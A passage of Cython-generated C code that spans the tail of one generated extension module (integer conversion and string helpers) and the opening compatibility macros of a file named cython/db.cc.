PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/cython/db.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && 